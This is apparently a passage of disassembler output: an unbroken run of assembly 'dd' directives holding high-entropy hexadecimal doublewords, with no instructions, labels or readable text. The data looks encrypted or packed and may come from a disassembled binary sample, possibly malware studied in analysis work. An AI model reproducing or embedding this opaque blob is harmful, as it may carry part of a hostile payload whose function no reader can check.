		dd 0C722BFF2h, 7024A451h, 702F4B66h, 0D86812C2h, 0B5736172h
		dd 42D723Fh, 4A634B43h,	49585EB8h, 0BB562F05h, 0E402EF34h
		dd 0C808D3E9h, 2E51E6A5h, 3E7BD53h, 1C4245F6h, 3813ABB4h
		dd 88A25004h, 58C08EAEh, 43CF003Dh, 0EDE92097h,	3152CD1Bh
		dd 0F2D6E01Ch, 67BDAC9Ah, 37688562h, 0FF2DAA3Fh, 1D585420h
		dd 9A32DB01h, 43DD30FFh, 4ACC0EDFh, 29A06FBAh, 0B40EE9CDh
		dd 0A40345D6h, 4A5EF131h, 88DB91E6h, 0E1C18F0Dh, 5A7D45AAh
		dd 0DB2ECF05h, 4B3E9FEAh, 0CD367F4Ch, 0EB775CFFh, 2F41173Fh
		dd 383F51A1h, 0F782F7B5h, 0C6BB1518h, 350D5905h, 52D8D921h
		dd 5E5030E9h, 733FF6A7h, 0CC04A79h, 0ABB7EB6Eh,	8CEE5FE9h
		dd 2FE46835h, 0C8371E26h, 0ACD4C05Ah, 47AF0207h, 0BE9FA89h
		dd 2E055A68h, 22690A13h, 0C0105CABh, 3C92586h, 409620E9h
		dd 1CCA56ADh, 0D0B3CB64h, 0E90643F1h, 4659B63h,	822603F3h
		dd 3383FE01h, 9C16FCFCh, 11BC472Ch, 1225D82Dh, 32690768h
		dd 8F615B22h, 54228B0Eh, 2583FB58h, 9743115Eh, 0F179030Fh
		dd 2CD444A8h, 0F2B4E4DFh, 40EC96B5h, 10E1BB1h, 0DE509CE9h
		dd 3D147305h, 0AE16439Ah, 9E89E8FFh, 6082A413h,	0BE38931h
		dd 826D7464h, 657B6FAAh, 312226C0h, 2906440Eh, 40C3E6F9h
		dd 0CC801358h, 5FFABCF1h, 0BAB444E8h, 2E80228Ch, 45562E4h
		dd 88CC08C0h, 234E685Ah, 1929DA9h, 5145F9D1h, 9C8F201Eh
		dd 478D1701h, 9FE9EB31h, 592D4E6Ch, 2FFE18C0h, 0C2125091h
		dd 58F79ABBh, 0F3F461AAh, 0DEEE032Ah, 16BD5898h, 5696794h
		dd 0DD0B5918h, 66C2967h, 17066BD5h, 1EDC28C8h, 31A3A02Bh
		dd 4049FA88h, 0FC9CF0BDh, 0CDF45F48h, 8A85C151h, 9CD4F610h
		dd 0EBDF291Ch, 54C31CBBh, 0AD10E31Bh, 10BC0E87h, 0C4B032E9h
		dd 0E9C4B834h, 0B7566397h, 705E93Fh, 61824DE9h,	41F74073h
		dd 93014120h, 7004926h,	70C217A9h, 41D100F7h, 1483B850h
		dd 40584A03h, 0EB917FC9h, 0BB85574Bh, 0AFCF522Ch, 0DCAFB91Fh
		dd 28025133h, 0FE4B15h,	66B4EA77h, 73974E79h, 0C6B81C2Ch
		dd 993E3D7Ch, 0E93A5C90h
		dd 8106CC1Ch, 1A5B655Fh, 13DFC820h, 102BE1Bh, 0FC149ADAh
		dd 1BC33A44h, 0C7C0CCD1h, 4E100822h, 1006AC81h,	54283518h
		dd 30A05F98h, 0A33EC24Bh, 6C017A11h, 5D2D0C90h,	0EB4B296Ch
		dd 9DC7FCE4h, 0EC5860E1h, 0A5B56D42h, 88E0F7DAh, 0D3DFDF5Ch
		dd 318C82B7h, 5158F8DEh, 0FDEF2FE9h, 0CEC21C56h, 0F8BBA977h
		dd 7CD1EE2Ch, 1B7A4C5Eh, 0C080C193h, 0DE160478h, 1F5BE308h
		dd 269B4B49h, 39A45CD9h, 56A3DB3Ch, 0F3DEBB2Fh,	2AC4FF6Eh
		dd 3EC708CDh, 3E700D5Dh, 3AF89F29h, 6FC0F976h, 0CA8192D0h
		dd 353009B8h, 1009516Ah, 63F85982h, 0FC280543h,	870EC95Eh
		dd 5B4893DEh, 1D5E020Ah, 17F4B90h, 0E9F18900h, 2D56BE0Ch
		dd 687026FEh, 570B5579h, 0ACF8502h, 66F601EEh, 0F0610E7Eh
		dd 18D7ADCBh, 0A74A74E3h, 13BF4AC5h, 0A8FBACBh,	0C8B70F01h
		dd 7C338F68h, 0F01FCB36h, 91B950Ch, 0AECBBEDAh,	0A22D28D0h
		dd 0C92F3A7Ah, 0E06AD646h, 6D866850h, 48C937C4h, 0D0FA0104h
		dd 0A41AB451h, 978A4559h, 2ACA66ABh, 715A4590h,	79096C40h
		dd 0B05915B4h, 6FE81746h, 0A300EA16h, 78E37631h, 80DA9A29h
		dd 17C35B08h, 0EFF0BAE9h, 4DDECD28h, 0F22AF95Dh, 87F1959Ah
		dd 0BC0FE963h, 0DD63B5D7h, 2D0C0324h, 0BCD7B930h, 6D1071D1h
		dd 62F18E56h, 0D5293968h, 92754DB9h, 0AA018Bh, 0DA6B62BFh
		dd 8E945B6Fh, 0A6BA5164h, 22BB97D9h, 6C804E7Dh,	0B228F9F6h
		dd 0E6C1730Fh, 36C62008h, 980D0E67h, 3D991624h,	39DA0456h
		dd 84EEAC87h, 58000FC5h, 8006E7C0h, 4A25F738h, 0AC5E70FDh
		dd 4F2CBC6Ch, 0E823015Fh, 81DBC4E9h, 8EEC52Bh, 0EDD87945h
		dd 62D014AEh, 0D604D116h, 0FE2A8B23h, 806C6D4h,	0F8155A5Dh
		dd 0C1501E19h, 0FC59AF4Ah, 70322EB0h, 263B639Bh, 4B804FA2h
		dd 550BCF01h, 6A7504E9h, 0BB3940AAh, 0B456817Ah, 8F829BF0h
		dd 0CFC5A4EFh, 47CD480h, 4A1A002Ah, 77B4F281h, 0D7FE6003h
		dd 224AAEB0h, 24469D41h, 0CF7078A3h, 0CA3080BCh, 8C5F769Dh
		dd 0EA6305C9h, 0B60AAE62h, 0E697F5Dh, 0B06802Eh, 0E95AF028h
		dd 0B8E05F31h, 0C0DFC50Eh, 5CE65FD1h, 9C07A3Ch,	58504271h
		dd 32A90506h, 20D254E6h, 0C1128428h, 2B906E3h, 7EAAC301h
		dd 3431456Eh, 8966E568h, 4BA6E351h, 314ECC0Bh, 0F0E11D26h
		dd 0DBB81E17h, 0DF6AF24Ah, 42C289D7h, 7F00C05Bh, 8EC696FDh
		dd 320F12A3h, 0F0B287AFh, 6C6B94C4h, 3967720h, 76EEF025h
		dd 79A06194h, 7CE042F2h, 60B7F5A0h, 9817C780h, 9423CF28h
		dd 56F48C7Bh, 11C2405h,	7C5D89CDh, 9BFBAAB3h, 31CEBEB4h
		dd 0CE72984Bh, 5C7D2195h, 0FBA6F031h, 0C2451641h, 0F60F334Fh
		dd 0EFC536B2h, 165AE902h, 0C08A2266h, 76B6C84Fh, 29FEF5D7h
		dd 0AAD82E6Bh, 0C4EE4462h, 0B6FE2628h, 11A9E13h, 0C99ED9E9h
		dd 0B51099ADh, 33B0CC1h, 9BCD024Eh, 0D57D6362h,	0B70094C4h
		dd 21B9CA2Bh, 10D5DE8h,	7C6E4F1Bh, 6FD160E9h, 0FB4B8DA7h
		dd 0F9D9817h, 0DE9CB7Bh, 86DC96E9h, 1736A63Fh, 0C7E9D44Bh
		dd 6E3CB196h, 6599B8Eh,	0EB9D310h, 7346F480h, 0FF819385h
		dd 0EE044A8Ch, 4B3D8E2Ch, 7458D71Bh, 3EC7BC8Fh,	0E059A5ADh
		dd 1793B03Dh, 0FF283F34h, 19AD8021h, 8D7036A5h,	0EC089DA1h
		dd 98950E6Eh, 25100CC1h, 127522F5h, 0AA7D8460h,	0D9BA31F4h
		dd 8A871E0Dh, 0E0F3A612h, 4D79602Dh, 0F8917EE3h, 955E921Ah
		dd 3009BB53h, 10477FC8h, 426768ADh, 77279AF6h, 9985DEEh
		dd 10ACEC4Bh, 3A60D7FFh, 6A4383F1h, 2CEDDB5Ah, 3F921CBh
		dd 0E682A997h, 1067E05Bh, 23520B0Bh, 0B6669C68h, 81095379h
		dd 854A3509h, 1794C19Ah, 3C869AC7h, 0FDC0A079h,	82B9B44Dh
		dd 75E2D971h, 50D4AE42h, 4A60FE59h, 94380423h, 0EA3C8B1Bh
		dd 0F82EB379h, 0C068A08Eh, 0BC98BF57h, 0CE9F783Ch, 0FD4D9D5Bh
		dd 60147FA5h, 98A5A4B7h, 9BAFEED5h, 12165B2Fh, 0E17ED1CDh
		dd 0A3803F0Fh, 5230E9F5h, 6816EDE8h, 6F3EF1AFh,	0A19054F3h
		dd 0C984220h, 4A98FF38h, 0BCC974EAh, 3973056Fh,	48C546B7h
		dd 27B92956h, 0A758A391h, 6582403Bh, 62E3E921h,	73A4ED7h
		dd 0AB203AB8h, 98F58B25h, 5A38771h, 70E9B9C5h, 0AA7C66ECh
		dd 9B99A40h, 4752148Ah,	0D4816470h, 7BC7207Fh, 5DFDC1BDh
		dd 14AAE60h, 8104DE11h,	0F45482E2h, 0E727E977h,	8E24C127h
		dd 0EAB71E70h, 95CF2480h, 12441035h, 0D821C731h, 8DA85EA7h
		dd 15452D60h, 0A605EC3Bh, 97D320Fh, 39FDAE01h, 137070DBh
		dd 0BA6F0BBBh, 38A82959h, 79E90908h, 44C270E8h,	294B0CEEh
		dd 423F67E8h, 1EB69C99h, 697AC3BDh, 0BA01D634h,	0BAFAF87h
		dd 5D4A62AFh, 0EA83FBC0h, 8E80599Fh, 0BB877EA7h, 60F869E9h
		dd 0DF6351Eh, 109603DEh, 10E856C5h, 933FF13h, 0F0290721h
		dd 598919FEh, 0F6BAD7EBh, 0B130D452h, 0E0C12D99h, 5B05E803h
		dd 232AA19Dh, 0FBF71477h, 14887064h, 2FBDDF2h, 3BAF571Dh
		dd 0CAA4C27Dh, 2B63FD62h, 349718C1h, 8C12C6CBh,	29EEF030h
		dd 765130BCh, 327F63C1h, 162E6DBEh, 6503EE9Ch, 0AA648FCDh
		dd 59B840Dh, 0C0F43BC0h, 29B2246Dh, 0CA860D97h,	3F43E40h
		dd 68520257h, 74D761DAh, 3FDC8B40h, 46D85081h, 0DB015416h
		dd 0EFB61E82h, 0F169D2CEh, 8E497A53h, 9D604557h, 0E984A3EEh
		dd 34FA1897h, 1A6C2FFh,	6937715Fh, 0AE514704h, 0BD5965D8h
		dd 5925D2C5h, 4874A71h,	81D916C7h, 52CD7D81h, 837F69C5h
		dd 81ACBB18h, 0CF3853FEh, 6FCE0802h, 0CCFC5D21h, 44527C3Ch
		dd 0A0334A0Ch, 571C7429h, 5D022453h, 29224130h,	5B0C023Ah
		dd 3A817758h, 380EFB68h, 261CC49Fh, 2DA1E930h, 73B5189Dh
		dd 5C9C814h, 11F58180h,	0B54AA43Dh, 7BE9B470h, 3CDEA510h
		dd 959C936h, 8908F781h,	30A6769Ah, 0C81AEF12h, 0A61775FDh
		dd 0E808EB08h, 6092560h, 47298881h, 87333109h, 0D56CD712h
		dd 0E3C98190h, 4F5F3046h, 0FB1A7B0Ch, 21E9664Bh, 5905CA8Fh
		dd 1E6045Ah, 0EA1DC049h, 0E758F9F7h, 4FC038E0h,	0A23EDE99h
		dd 0A1C1CEA0h, 8B9BE9CAh, 66823E29h, 9CDD0111h,	6DA2958Ch
		dd 24F763D4h, 71FB58C3h, 0C20D1DB4h, 0C953F155h, 7E2FEE51h
		dd 4DDB8809h, 18284167h, 3BB7825Ch, 0C84BD02Ch,	3B1D243Fh
		dd 0CCD951A5h, 7B27E989h, 88F6D184h, 9920ED82h,	0B02FE0F5h
		dd 0AAB220C7h, 3FA852F5h, 90443D5Fh, 582C3C22h,	6468C7F5h
		dd 0C1BAFC34h, 43E62657h, 0A93CC921h, 312D5F16h, 6376553Eh
		dd 0DE291479h, 4CF239A8h, 0E45E2EA0h, 5E80714h,	400C4DBAh
		dd 0C1B384BBh, 45493A87h, 212D44D9h, 7261FED8h,	0D78ECDE9h
		dd 7CE2DE89h, 82920118h, 38B18D41h, 2E0D5105h, 54F42EADh
		dd 0FC167B05h, 0B9342067h, 234ABB55h, 89D10FAh,	29D0C60h
		dd 586916F2h, 27EF7ED5h, 3980DD5Eh, 0E90F3263h,	0A8E84F4Fh
		dd 2BB09681h, 6B2D3F79h, 8D353D16h, 8DD548B3h, 8BA8B85Bh
		dd 2901E4C6h, 2C925A48h, 5407C450h, 0F8049EB0h,	1AEB72EEh
		dd 5414C75Eh, 0AC201897h, 1323C6D3h, 83148F72h,	261F2922h
		dd 5D8E2D5Ah, 0D85F5E9Ah, 1A02B07Bh, 3D14C7BBh,	0C42E3FC6h
		dd 6ABD8076h, 159F868h,	0A4BEA7Ch, 0CB29A700h, 143CEB81h
		dd 837B032Fh, 61265B09h, 0C64FC2F0h, 7C805694h,	7C1A0648h
		dd 58E0F25Bh, 3E67B545h, 557BB2B2h, 0FC021041h,	76FA8CCBh
		dd 2D504460h, 0B49F68B2h, 9AA0BAFFh, 3F717C95h,	351A3513h
		dd 7855FA8Ah, 3071128Eh
		dd 73E1F741h, 0DAC37F6Ch, 27A35458h, 5CC22D53h,	0C9A5905h
		dd 0DEF5AE99h, 0D6F3872Fh, 15F600AEh, 0EFD1115Bh, 0C7024BBEh
		dd 5FCF4978h, 0CE00A68Fh, 8EE94786h, 0F95D3662h, 0B48575Fh
		dd 1F94EB24h, 0C8ADDB27h, 54E53204h, 0A8AF715Fh, 0FD70131h
		dd 0F0E92686h, 0D8458912h, 0F51B015Bh, 5DF4CFFEh, 0D79EA916h
		dd 60EF5F20h, 800AA605h, 0D9A0B6ACh, 502572D0h,	806A808h
		dd 0A5BBD12Fh, 613B3202h, 73A4AA73h, 0D2B4D942h, 5AE5B066h
		dd 0ADED8404h, 4868C278h, 0C6B1A56Bh, 0E95FCBBCh, 0CDDFC6E5h
		dd 5AF317D1h, 1000A652h, 0B2032907h, 86C28064h,	0DAA2D1h
		dd 9565B652h, 0F62CA050h, 0B358FBDEh, 0E38007D4h, 56D3F699h
		dd 0F80907CBh, 5757B050h, 9011404h, 7C6FF50Ch, 41927927h
		dd 2E2778E9h, 2D5E3C31h, 2C351081h, 0E8014777h,	99942B6Ch
		dd 578961EAh, 286E8454h, 6EBC000h, 80FEB252h, 0E5DCEA51h
		dd 0E9D3FCC2h, 0D9D6F42Fh, 91103C67h, 0F154505Eh, 5D230116h
		dd 1D92D708h, 9B10E758h, 7782CECBh, 35F6F2FAh, 55104001h
		dd 2C38E932h, 0A8B5E380h, 0E7C075B7h, 74B4084Eh, 800739EDh
		dd 4EC792E3h, 2EC7EF83h, 6E3059A7h, 27440467h, 65F447A6h
		dd 0AF82FE4Dh, 9AD59CCh, 0F854E762h, 7CA08A93h,	401B0BBBh
		dd 0A0480572h, 3B04A0EBh, 514B2426h, 0BE44DFC1h, 5EF7AF04h
		dd 10F0ED5Eh, 0BD5F9532h, 0F6C0B99h, 5986D7B8h,	1240D68h
		dd 0F2195CFEh, 0B66B5884h, 9D62F8Fh, 0F2235A93h, 123EBCF2h
		dd 8BABED5Fh, 2D30A1B3h, 60C6D24Ah, 0EE60EEB4h,	0AB554BF0h
		dd 1308DA10h, 0FCB023E9h, 0E2144B8Bh, 1B82A45Ch, 4D284CB2h
		dd 9648DCEAh, 0AB5A3E01h, 1DF89FFh, 2069A6FAh, 97A228DFh
		dd 6F441511h, 5CB85085h, 166857A0h, 41F74C12h, 9B0CFF64h
		dd 25681915h, 85C66CB1h, 22105D2Ah, 5E094D90h, 0F72A452Bh
		dd 63BE3E0Ah, 0EC816668h, 0D09B447Ch, 3192D35h,	7861112Fh
		dd 9D19926h, 24C84358h,	3CE61D57h, 1BE5607h, 0AA8AA004h
		dd 8E2C0F06h, 0C8E82D68h, 958BBC51h, 0BC4FD109h, 622E7A93h
		dd 0A5413603h, 0E919319Ch, 0FE353028h, 5AC0CB2Eh, 7FA51C32h
		dd 1FC96C60h, 0DD64082h, 14D2264Ch, 0C0230C71h,	7502F119h
		dd 1032046h, 0AE7241C8h, 0AF92EF22h, 1A495FCEh,	0D342182Dh
		dd 2965CE75h, 86C8211h,	0A16B79CBh, 1121308h, 0E813DC73h
		dd 5048E26Eh, 0B05296AFh, 56451624h, 0E9627CBBh, 0A73B232h
		dd 85117E5Ch, 754B1B68h, 5538451Dh, 4EEFC854h, 0D87A4F2Dh
		dd 7FED810Ah, 295A0105h, 31073368h, 0BF9D5400h,	0B65128CDh
		dd 1E3925FDh, 0EBAEA6Bh, 663A245Dh, 8D0588BFh, 88FDE341h
		dd 49167DD6h, 266E7DFAh, 0E376A458h, 0EB0B32FAh, 0F1F9FDCBh
		dd 0D5293E5Eh, 3A25C849h, 0B514ABE4h, 2D3D2D5Bh, 0FD90022h
		dd 0C4233F84h, 0B84C64DDh, 0A38C5B8h, 3B048CB9h, 0BF3D2979h
		dd 731C5D04h, 68C749EDh, 10E66B10h, 2576E43Ah, 4B27F13Ah
		dd 0C15E8520h, 809D07E6h, 5A62928h, 14B48E9h, 0E2D96A99h
		dd 0B960175Ch, 4B9192B3h, 21093552h, 8E313D30h,	1C7E05CDh
		dd 0FA285C27h, 8D4E914Eh, 14AB6212h, 191D1032h,	0D1568051h
		dd 66CF81E7h, 3B22205h,	0E594DBE9h, 181AF6ABh, 8884334Bh
		dd 3438AEEBh, 0AFE135E9h, 104ADDE2h, 7D00A737h,	687A41E7h
		dd 0E686224Eh, 8D4397DEh, 0F0E794F4h, 9E05F2BCh, 1F9511Bh
		dd 0BA689DC0h, 0E86CBF1Ch, 51289401h, 0DA2AE940h, 4806313Eh
		dd 0B3CF6FE2h, 0D2D0A42Dh, 93D95BBDh, 3752BB21h, 186275DAh
		dd 4F4C5854h, 538D0500h, 0E8016994h, 5D07A12Dh,	0BB009B76h
		dd 7A52468Ch, 489C1DE9h, 60C85D13h, 6B720C4Ah, 0E9104C29h
		dd 16845Ah, 0AD86ECBDh,	4A09C732h, 226DD6Eh, 5A360C6h
		dd 0B801EA09h, 3D4B1DF1h, 6859027Fh, 6CF733D0h,	6AFDB0BFh
		dd 0D11A14F5h, 27026E53h, 0F701875Ch, 1D0DEDA2h, 0EC562599h
		dd 112F553Fh, 9892946Dh, 0A922468h, 94A58811h, 1140B901h
		dd 9BE82B7Ah, 5C64B5E4h, 6094769Dh, 7FE95FFEh, 5B0B46B4h
		dd 0DEDFC09h, 0E5537A0Ah, 4CC70490h, 421975E1h,	0E2F0876Bh
		dd 48440ECFh, 23D2109h,	0A9258F6Ch, 0FCCFAB85h,	0D86850D0h
		dd 7D31465Ah, 1A649DC9h, 5D57EEF2h, 81079E5Ch, 0C026B4F7h
		dd 0FD8955D4h, 2C6BDAFFh, 68C180F8h, 0BA70F1E6h, 3D37CA5Fh
		dd 28D9C2E1h, 0C04EF22Eh, 40685052h, 8589B29h, 571204C8h
		dd 3900C317h, 6EEBBB5Eh, 2F135CE2h, 0B602544Bh,	0E90E424Bh
		dd 9875F8E5h, 307AAFE9h, 492601CDh, 2D4FDF54h, 891661ACh
		dd 4961D8D6h, 0B0584A40h, 719D8122h, 60FED652h,	0CC77D461h
		dd 0D0D4CA0Fh, 954778BDh, 304E7D80h, 7E2CE9DAh,	24441425h
		dd 875C794Bh, 9256D32Dh, 7774215Ch, 0FDA0674h, 10F768C2h
		dd 53C8E57Dh, 0FF051C8h, 0D32DA194h, 8B61A64Eh,	0EAE98CB0h
		dd 30026E51h, 55993902h, 782DB78h, 5916F67Ch, 4486BE01h
		dd 0C82799Ah, 53205092h, 85928FDh, 14812928h, 2A5DF129h
		dd 658C80A0h, 45372B5h,	303DB2E3h, 1F35B151h, 8959CE88h
		dd 2FD167D4h, 24398489h, 5D82DF83h, 0E6F7097Ch,	0AD5497F0h
		dd 18C0E549h, 0F415854h, 230755B3h, 56120715h, 6B8D69FFh
		dd 0AD5ADA3Ch, 10A79034h, 88138E82h, 9C57B2F8h,	4FAC313h
		dd 44B5DEFBh, 0C4142A57h, 6D59E42Dh, 90CB88C3h,	4A30E9DEh
		dd 0AB0B4A7h, 0E815B028h, 170DD101h, 4BDF8729h,	34706A6h
		dd 6AE70583h, 3DFEC7B0h, 314A9F13h, 0BC0B9FE0h,	945D27DBh
		dd 0D1569546h, 16A9882h, 13875072h, 2113836h, 432E2913h
		dd 2208C161h, 0FCF30232h, 78E19D38h, 1D529F79h,	0BF8D5720h
		dd 44E04820h, 0DC954018h, 0F3F10118h, 60384F6Dh, 7AF302ACh
		dd 7C684981h, 805AC0D4h, 0F7808756h, 5C0BD8D0h,	7FCEBA7Fh
		dd 4CE1AFC2h, 0D164083h, 10E107Ah, 65080575h, 55AB92CEh
		dd 40EC6661h, 512BB8BCh, 2F4A073Dh, 7D686244h, 0C2228CD0h
		dd 80EB07DEh, 0B269DAFCh, 3DD62311h, 86167760h,	2ADAB729h
		dd 0C05FC281h, 0D772E90Bh, 271A4CBFh, 742006DDh, 4C5901B1h
		dd 0FE53BB04h, 0C9AAB3A6h, 744F30ABh, 37DC804Ah, 3B9B9753h
		dd 58C8D039h, 83E90857h, 5CB80170h, 0E863A51Bh,	0EB883697h
		dd 2F6B0E02h, 46DA013Bh, 7CC00829h, 5880DCD2h, 7EF3CC1h
		dd 0EF09F39Fh, 0BA05C7EEh, 649E3490h, 0FF8443FDh, 42D244E6h
		dd 0FC4C88BFh, 6185BB17h, 0A54814EFh, 0BA02064Dh, 77E71237h
		dd 47029774h, 0E821D630h, 0FABECA64h, 0E9171337h, 0EA6CF43Eh
		dd 0AE097C16h, 1DA072C0h, 60E48DFh, 0C67140Ah, 31B009EEh
		dd 3A61B420h, 5A6A6FBEh, 490CD72Eh, 4DE96022h, 331509A9h
		dd 8509CE3Ch, 78660102h, 3B6CEDF5h, 1C687ACCh, 0B0830A95h
		dd 762D9F55h, 25E9233Ah, 0B79294CFh, 199735C4h,	616BDFD6h
		dd 56942E2h, 298461BCh,	27A2BF54h, 20B168C2h, 0C6824AABh
		dd 6243B546h, 708CBEF5h, 1C51F381h, 8128126Bh, 0C326E9ACh
		dd 68C2760Bh, 7B5ACA69h, 5FDEA7EAh, 8A96057Bh, 0A829AA52h
		dd 0E9307F51h, 18CB1801h, 355E3B61h, 3AEF4826h,	0EB07C583h
		dd 2C010959h, 3EDEC981h, 3E30444Bh, 483B17A1h, 1505BF15h
		dd 0C4A1E0E9h, 19851F6h, 0C1455EF5h, 82F8B9EDh,	58D3BD4h
		dd 0F54E5501h, 0DE0FE535h, 0A7FFE2A1h, 1054ECCh, 987680C5h
		dd 0CCDEF796h, 0D7F6E8D1h, 0DF4A1690h, 9F242187h, 451BF09h
		dd 6613CF1Fh, 0A3EF4EC4h
		dd 0B94A7C75h, 0A01249F3h, 6D94D05Dh, 5F2F46ECh, 82170289h
		dd 0A25D0B58h, 578D7EDAh, 2CC9141Bh, 0A3010498h, 472666C8h
		dd 0A7789EEDh, 6780BB03h, 0D44B786Fh, 0D6D6E4A5h, 0E9D4AFD1h
		dd 6C05F19Eh, 8BBF4ACFh, 7957B72h, 0C6F0AD19h, 0C0944B53h
		dd 0AA040173h, 0E91A4854h, 608B3539h, 634DA2EAh, 0A8D18CDCh
		dd 0B0EFE103h, 0D9677353h, 8627F9Ah, 9118550h, 31B8E0A8h
		dd 0CD297581h, 0F2422B59h, 53C69CE9h, 0C49A4B1h, 8084F03h
		dd 4FCAFA9Dh, 529AC2B4h, 656D4A57h, 0F1BB80A4h,	9175610h
		dd 719FD8B8h, 0E4EB07AAh, 0D631B042h, 6D6194E9h, 1A79C577h
		dd 242029E5h, 5ADBEC08h, 0BA2B3113h, 3032DC6Eh,	3714E926h
		dd 2CAF5D93h, 0DD4FBF59h, 567B68A5h, 103EA884h,	5E1FE46Fh
		dd 8D74AF01h, 0BFDCE950h, 805A3084h, 3C97C2B4h,	4209852Ch
		dd 7EA5C126h, 56C75423h, 0EC8232B8h, 3F87FD65h,	5A04E06h
		dd 6641B5E4h, 0F14B4DB8h, 27A29BE8h, 7F5C56C9h,	403752CCh
		dd 0FE002DDBh, 519E751h, 4ED3DD89h, 400FF148h, 40093309h
		dd 70040B48h, 3FEA411Fh, 69E913FBh, 0C5E92385h,	125E709h
		dd 9CACFDDh, 6181FD5Ch,	6070E913h, 0F780F0ADh, 0D2506D8h
		dd 0E622B36h, 7B174FA1h, 68AE9812h, 477CE9F3h, 0E2022AB1h
		dd 0D36917h, 243E59B5h,	10D5AF81h, 0BBE23C8Eh, 1828C806h
		dd 411ED316h, 94D86604h, 6C9C10Eh, 0E27DAE07h, 62F71C11h
		dd 521C5CDFh, 55CF9A5Dh, 0F80B2D62h, 65E2B8DCh,	224677E8h
		dd 7C158D2Dh, 0FB1A6398h, 2A51203Fh, 31398659h,	8D034C2h
		dd 435486h, 0F25960BEh,	7BF68176h, 2C746517h, 0A0908B8h
		dd 0AA003C2Bh, 1C78306h, 33F78100h, 315A7690h, 4C47B8FEh
		dd 0A8E5F7F5h, 0B841D7FEh, 31636856h, 5939316Ah, 0FB312E6Bh
		dd 616E51A4h, 44577DDh,	0A17ED0BAh, 0D619FAE1h,	0A5FCE801h
		dd 0DB213BE7h, 0E1360FCh, 0F580D5F6h, 0EE28AB0Eh, 58E6C359h
		dd 0F3039BC0h, 4ACEF1D6h, 7BAC6ECh, 0B35AF088h,	2BC3B368h
		dd 33E5C184h, 40580241h, 0B711D008h, 44AAE2F3h,	5A567695h
		dd 5EADFA59h, 0F1FB4453h, 9FE22E29h, 31E954C1h,	38BC39BBh
		dd 7994937Bh, 0E32316FEh, 81CC5A9Bh, 0BBD91FFh,	0DDE7088Ch
		dd 51A5C323h, 0A20B6287h, 58565000h, 95C6B05Eh,	7EB828C1h
		dd 811CE9CAh, 0FC6D05CEh, 0BB85855Eh, 2AEE5C00h, 2641165Fh
		dd 87975DE9h, 1B448468h, 32AC3E82h, 0A25DEDB2h,	426D59Ah
		dd 7DB0815Bh, 2061F138h, 4A3CA7AAh, 9FE9893Eh, 0C91C7FC5h
		dd 5CAE5758h, 17D35844h, 71303B83h, 9349CA68h, 84791630h
		dd 49EAE77h, 0AC698B12h, 0FF889672h, 10272516h,	0C07D8578h
		dd 0F7736109h, 55922BD7h, 0C4A4C5A0h, 4297FDCDh, 83E75DF6h
		dd 2DC8408h, 0CA44E3BFh, 0D008057h, 0C345851Dh,	0B56E93Ah
		dd 87C59D03h, 0B33F970h, 5AE1681Ah, 0F68F554h, 0EAA92916h
		dd 495D8004h, 0F0A08571h, 0B73E53B9h, 54CF1FA1h, 0FA3D82E7h
		dd 8F250016h, 7F1CC16Ch, 2E894D35h, 604777Eh, 40D8C356h
		dd 0FBCD0683h, 81FE1B84h, 2A174C38h, 533BF0CCh,	0B902CC69h
		dd 7AD33C51h, 438824F1h, 0FCBB1F56h, 81219880h,	9F2DD5F3h
		dd 0EBC16217h, 3AA9B90Eh, 9965526h, 56F4992Dh, 0BDD9E66h
		dd 0DAE636D3h, 8D3F392Bh, 47616003h, 3D7C218h, 135064F7h
		dd 5602B259h, 80E95823h, 0B034CB0Eh, 780952ADh,	24F97D30h
		dd 0BE503A23h, 7EF7DF98h, 664F7468h, 951B3531h,	0F1D95DC2h
		dd 68BA90A7h, 305D4F38h, 178F421h, 5CC4058h, 71A8702Dh
		dd 89C881AEh, 36A27E5Dh, 6AE14CDFh, 0BE01590Ah,	33F65D6h
		dd 9CE3CE31h, 7D913F8h,	4B69295Eh, 807209BAh, 0C9FEE203h
		dd 375978D1h, 2FEF10B4h, 0B6D02916h, 5F800D3h, 448D3D16h
		dd 64E92D5Fh, 0EE92E9D6h, 0F46CC9F5h, 25002A2Dh, 5B66D988h
		dd 18272CBh, 0D004598Dh, 0D32DB16Bh, 90C1AC93h,	0C079DD5Bh
		dd 0BB4AE9D8h, 8BEE7EC4h, 8BC63C8Ah, 0FE4E2E65h, 9708A081h
		dd 4F9279E5h, 0EAD13F81h, 973E2970h, 16C90C4Eh,	75145742h
		dd 19C6BA09h, 0C2F10067h, 4C5645A5h, 62044C25h,	0AA5D7E43h
		dd 1BD6FDD8h, 2230DA19h, 64A56790h, 80F07A95h, 25555908h
		dd 8C58EDE9h, 0C8F25E5Eh, 0B06851C1h, 30357E3Fh, 0DDF37E82h
		dd 0E2074A22h, 66882548h, 0B828552Ch, 62C6EE03h, 0CAC0DCB5h
		dd 482E7F5Ah, 42DEC27h,	46B52AE6h, 4E4C9763h, 67474C13h
		dd 611BE40h, 0C2423B27h, 0BFBEC8C0h, 640275F6h,	4112FF34h
		dd 0F052CCEh, 0DE09D3C0h, 5997A0D8h, 4009EB6Ah,	0E07FCF2Dh
		dd 28F10ED2h, 0EF338C43h, 283BB629h, 6333A138h,	0EE36C42Fh
		dd 50104FF6h, 98B2D6B8h, 0E1AEAD4Bh, 0B53E525Ch, 83E1511h
		dd 5300D5E9h, 577C9BBh,	1FBB907Ah, 0E782A907h, 0D54AF874h
		dd 0CD430B02h, 81C27844h, 3A8059F5h, 15F1BA82h,	0E975DA29h
		dd 190CF5Eh, 7B1F1DC8h,	9C0630F0h, 78AC349h, 0CAB539F6h
		dd 0E90801F0h, 2068B7BAh, 0A42592C1h, 0BDFD2F35h, 687A305Bh
		dd 18A842CEh, 0E74A51E9h, 1630ECA4h, 0FE66EA78h, 0CA29360Bh
		dd 0F7714145h, 0AABD2680h, 813CA834h, 2E86E509h, 0CD8D805Ah
		dd 4E6067DAh, 30FFF12Dh, 2F183529h, 0C2C0FF85h,	34D00B78h
		dd 504EB01h, 705010Ah, 7970FF38h, 72D50D8h, 0F66132E9h
		dd 0F7C1C5FDh, 0F5B120C3h, 8563273Ah, 3D49E914h, 7AD4BDB8h
		dd 58EC8C10h, 37F01748h, 0A00541B4h, 3B31BE9Ah,	0A7FA418h
		dd 67D96652h, 644925CCh, 16D76B7Dh, 4C4EDB61h, 41D11670h
		dd 0B5B13F15h, 0B27C833h, 0FA66FB05h, 29680A38h, 83B53891h
		dd 56555351h, 501916E0h, 0CFE96C09h, 0E1C0D990h, 2A3EE268h
		dd 0EE611771h, 98DF67Bh, 0C02D840Fh, 4E9768E4h,	2E563029h
		dd 1E4DF1Dh, 92FCDE4Fh,	8B9580B4h, 30F3DF73h, 2712A90Fh
